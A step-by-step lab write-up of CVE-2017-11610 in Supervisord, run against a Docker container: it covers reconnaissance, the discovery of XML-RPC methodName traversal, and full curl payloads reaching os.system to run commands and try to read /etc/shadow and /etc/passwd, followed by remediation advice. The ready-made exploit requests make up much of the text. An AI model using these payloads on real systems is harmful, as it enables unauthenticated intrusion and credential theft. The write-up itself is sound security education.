
Step-by-step exploit writeup for CVE-2017-11610 (Supervisord XML-RPC RCE) with attack surface analysis, namespace traversal discovery, and post-exploitation techniques in a Docker lab environment.
Starting with what is running in the environment. I list all active containers:
docker ps-a

The victim exposes a single port: 9001.
Port 9001 is not a standard web app. Looking up the port database shows this port could be associated with Supervisord (ETL Service Manager according to IANA), Tor proxy, or some other internal service. However, we cannot draw a conclusion based solely on the port number.
⇒ I curl directly to read the response and also access the web GUI to gather more information
curl -i http://192.168.3.137:9001/


Response analysis:
Server: Medusa/1.12 and the title Supervisor Status→ Confirmed this is Supervisord, not Tor or any other service.
REFRESH, RESTART ALL, STOP ALLSupervisord is a process manager on Linux. If port 9001 is exposed to the network without a password, this is a dangerous configuration. An attacker could view services, restart/stop processes, and under certain configurations, exploit it to execute commands if they have privileges to modify or control the managed programs.
Analysis Conclusion: We can confirm the target is exposing the Supervisord administration interface to the network at port 9001. This is not a standard web service, but a management interface used to monitor and control processes. The ability to access this interface without authentication creates a risk that an attacker can view the status of or interact with the managed services.
However, we must distinguish between the visible UI and the underlying control mechanism. Buttons like REFRESH, RESTART ALL, and STOP ALL do not process requests independently on the frontend; instead, they must call an interface/backend of Supervisord to retrieve status or send process control commands. Therefore, after confirming the Web UI is exposed, the next analysis step is to determine if the underlying control interface exists behind the Web UI and if it requires authentication.
⇒ Thinking: Need to check whether the control interface behind the Web UI exists and if it requires authentication.

According to Supervisor's documentation, [inet_http_server] is an HTTP server listening on a TCP socket. This interface is not enabled by default, should only be used in trusted environments, does not support encryption, and has no default authentication unless username/password is configured.
The documentation also indicates that the port of [inet_http_server] is used to receive HTTP/XML-RPC requests; supervisorctl uses XML-RPC to communicate with supervisord via this port. This matches our observation in the lab: the container exposes 0.0.0.0:9001->9001/tcp, the Web UI is accessible without authentication, and the displayed version is Supervisor 3.3.2.
Thus, after confirming the Web UI on port 9001, the next step is to inspect the XML-RPC endpoint /RPC2. Based on the official mechanism of Supervisord, we need to verify these objectives:
/RPC2 exists.supervisor.getState or system.listMethods.Check if the endpoint is alive:
curl -i -s -X POST -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>supervisor.getState</methodName><params></params></methodCall>' \
http://192.168.3.137:9001/RPC2

The result returns HTTP/1.1 200 OK, not 401 Unauthorized or 403 Forbidden, showing the request was accepted by the server without credentials. The response is in the XML-RPC <methodResponse> format and contains statename=RUNNING and statecode=1, proving the /RPC2 endpoint is active and the supervisor.getState method was executed successfully.
⇒ Thinking: The attack surface is no longer limited to the Web UI, but has expanded to the XML-RPC API, where daemon/process control commands are handled. From here, the next analysis direction is to check how Supervisor handles methodName in XML-RPC, to determine if the current target exhibits the behavior of CVE-2017-11610, which lies in the dispatch/lookup mechanism of this method. We need to verify this to conclude if it is CVE-2017-11610.
In the previous step, we successfully called the supervisor.getState method via the /RPC2 endpoint. This raises the next question: when receiving a string-based methodName, how does Supervisord map that string to the internal Python function?
In XML-RPC, methods typically utilize namespaces, for example:
supervisor.getStatesupervisor.stopProcesssupervisor.getAllProcessInfoLogically, the server receives the methodName string, splits it by the dot ., and searches for the corresponding object/function inside the registered handler.
The pseudo-code can be understood as follows:
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.
In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.
This establishes our exploitation path:
supervisor → supervisord → options → warnings → linecache → os → system
The concept is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.
Thus, the attack chain follows this logic:
/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.
First, I need to check whether the server actually allows traversing internal attributes. I will attempt to call a method name that is longer than usual. If the server returns a "method not found" error, a filter is active; if it returns a different error (or succeeds), the traversal is working.
Thinking: I already know supervisor.getState works. If I try supervisor.supervisord—which goes one layer deeper—and the server does not return an unknown method error, it means it is indeed using recursive getattr without a whitelist.
We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:
<?xml version="1.0"?>
<methodCall>
<methodName>FUNCTION_NAME</methodName>
<params>
<param>
<value><string>VALUE</string></value>
</param>
</params>
</methodCall>
Simple structure — just replace <methodName> and <params>. If the function requires no parameters, leave <params></params> empty. If the function requires a string, wrap it inside <string>...</string>. This isn't secret knowledge — reading the XML-RPC RFC details this.
⇒ Application: try calling a longer methodName than usual to check namespace traversal:
curl -s -X POST -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options</methodName><params></params></methodCall>' \
http://192.168.3.137:9001/RPC2

The result returns an HTTP 500 Internal Server Error instead of the standard unknown method error. This indicates that the server does not block the methodName at a valid namespace level, but instead continued to process the supervisor.supervisord.options chain during dispatching. In other words, the request traversed deep into the attribute lookup mechanism; the error occurred at a later step when the resolved object was not callable as a method. This is a clear indicator that namespace traversal via methodName is active.
Traversal is working. The next step is to find an attribute chain ending in a callable function capable of running system commands. In Python, the easiest target to verify is os.system(). However, we do not have a shell on the target and cannot directly read source/runtime objects in the container. Therefore, we must infer from Python's import mechanisms and verify dependencies locally first.
The chain to inspect is:
supervisor → supervisord → options → warnings → linecache → os → system
options are Python objects with attributes.import X, then X will exist within that module's namespace.warnings module imports linecache to obtain context when displaying warnings.linecache module imports os for path/file manipulations.os module provides the system() function, which is a callable that can execute shell commands.Confirm this dependency locally before attempting it on the target:
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Thinking: The dependency chain warnings → linecache → os is a real dependency in the CPython stdlib; and system is indeed a callable function in the os module. Combined with the namespace traversal flaw in XML-RPC, if we can reach supervisord.options.warnings from the supervisor handler, we can continue traversing to linecache.os.system to invoke system commands.
After identifying the traversal chain to os.system, the next step is to build the XML-RPC request to call this function. In Python, os.system() takes one string parameter representing the shell command to execute, and returns the command's exit code. This function does not return stdout directly to the XML-RPC response, so to prove the command has run, we must redirect the output to a file.
⇒ Thinking: No direct output in the response, so write the results to /tmp. The /tmp directory is typically writable by all users on Linux. A safe verification payload is:
id > /tmp/rce_proof.txt
Applying the XML-RPC template analyzed above, replace <methodName> with the traversal chain to os.system and pass the shell command inside <string>:
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>id > /tmp/rce_proof.txt</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

The value <int>0</int> is the exit code of os.system(), not the command's stdout. An exit code of 0 indicates the shell command executed successfully. We verify this by reading the file inside the container:
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE Confirmed. The id command was executed inside the container, under the privileges of the nobody user (uid=65534).
Key point: RCE is achieved, but the execution privileges depend on the user running the supervisord process. In this lab, the command runs under the nobody user, meaning the impact is more restricted than if supervisord were running as root.
After confirming RCE, we see that nobody is a low-privileged user on Linux. However, we should verify this in practice rather than just relying on the id output. The verification method is to attempt to read /etc/shadow, as this file is typically only readable by root and the shadow group. If readable, the process has high privileges; if blocked, the privileges are truly restricted.
Send the payload to read /etc/shadow and redirect both stdout/stderr to a file:
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>cat /etc/shadow > /tmp/shadow_test.txt 2>&1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

The response returns <int>256</int>, which is the return value of os.system(). On Unix, exit statuses are encoded; 256 corresponds to shell command exit code 1. This indicates the command was executed but failed.
We confirm the cause of failure by reading the output file inside the container and checking /etc/shadow permissions:
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

The results show the output file recorded this error:
cat: /etc/shadow: Permission denied
Permissions for /etc/shadow are:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowThe file /etc/shadow is owned by root, group shadow, and is only readable by the owner/group. Meanwhile, our earlier RCE confirmed the command runs under the nobody user; this user does not belong to the shadow group, and thus cannot read this file.
⇒ Conclusion: RCE has been achieved, but privileges are genuinely restricted to the nobody user. This is a critical distinction from a service running as root: the attacker can execute commands, but does not automatically gain total control over the system.
Although we cannot read /etc/shadow, the RCE still allows us to execute commands with nobody privileges. Thus, we can continue to collect information that this user is authorized to read, such as the running process list and user information on the system.
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>ps aux > /tmp/ps_output.txt 2>&1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 in the container runs under the root user, but the supervisord process runs under the nobody user. This explains why the RCE succeeded but lacked the privilege to read files restricted to root.
Result: ps aux shows that PID 1 in the container is /bin/bash /usr/local/bin/docker-entrypoint.sh running under the root user, while the supervisord process runs under the nobody user.
This explains why the RCE succeeded but did not have permissions to read root-only files: the command is executed with the privileges of the supervisord process, not PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>cat /etc/passwd > /tmp/passwd_dump.txt 2>&1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Result: /etc/passwd shows the system mainly contains default users like root, daemon, nobody, and _apt; no additional service users were detected. This indicates the container environment is minimal, lacking other application accounts to exploit or pivot from at this stage.
In this lab, a reverse shell could not be established. However, we should not simply conclude that a Docker bridge network always blocks reverse shells, as Docker containers typically retain outbound capabilities via NAT. The cause may stem from routing, firewalls, listeners, interfaces, or the network configuration of the lab environment.
The crucial point is: the unsuccessful reverse shell does not alter the main conclusion. RCE has been confirmed with the id payload, response exit code 0, and the output file in /tmp. The attacker can execute arbitrary commands inside the container with the privileges of the nobody user.
Urgent Priority
Upgrade Supervisord to the patched version
Upgrade Supervisor to version >= 3.3.3. The patched version completely eliminates the recursive namespace lookup mechanism in XML-RPC, which was the root cause of CVE-2017-11610.
Do not expose [inet_http_server] to the network unless necessary
If the Web UI or remote management is not required, disable [inet_http_server] entirely. This is a management interface and should not be widely accessible across the network.
Restrict binding address
If you still need the Web UI enabled, only bind to localhost instead of 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
High Priority
Enable authentication for [inet_http_server]
If you must expose this interface for remote administration, configure a strong username/password:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
If it must be bound to the network, do not rely solely on a password; place it behind a VPN/reverse proxy or restrict access by IP.
Restrict access using a firewall
Only allow administrative IPs to access port 9001, for example via a firewall/security group. Do not expose this port to the public internet or the entire internal network.
Run supervisord with a low-privileged user
This lab runs under the nobody user, keeping the impact limited. In real-world environments, avoid running supervisord as root unless absolutely necessary.
| Criterion | Assessment | Details |
|---|
| CVSS Score | 9.8 (Critical) | Per CVE/NVD, the vulnerability is an unauthenticated RCE on Supervisor <= 3.3.2 |
| Authentication | Not required | Endpoint /RPC2 processes XML-RPC requests without requiring a username/password |
| Complexity | Low | Exploitable via manual XML-RPC requests, without needing Metasploit |
| Privileges Gained | nobody | RCE runs with the privileges of the supervisord process; in this lab, restricted to the nobody user |
| Impact | High | Able to execute commands, write files in writable directories like /tmp, and gather system information |
| Limits | Cannot read root-only files | /etc/shadow returned Permission Denied, proving privileges are not root |
| Internal Network Pivoting | Feasible | The nobody user can still attempt to connect to other services/containers if network policies allow |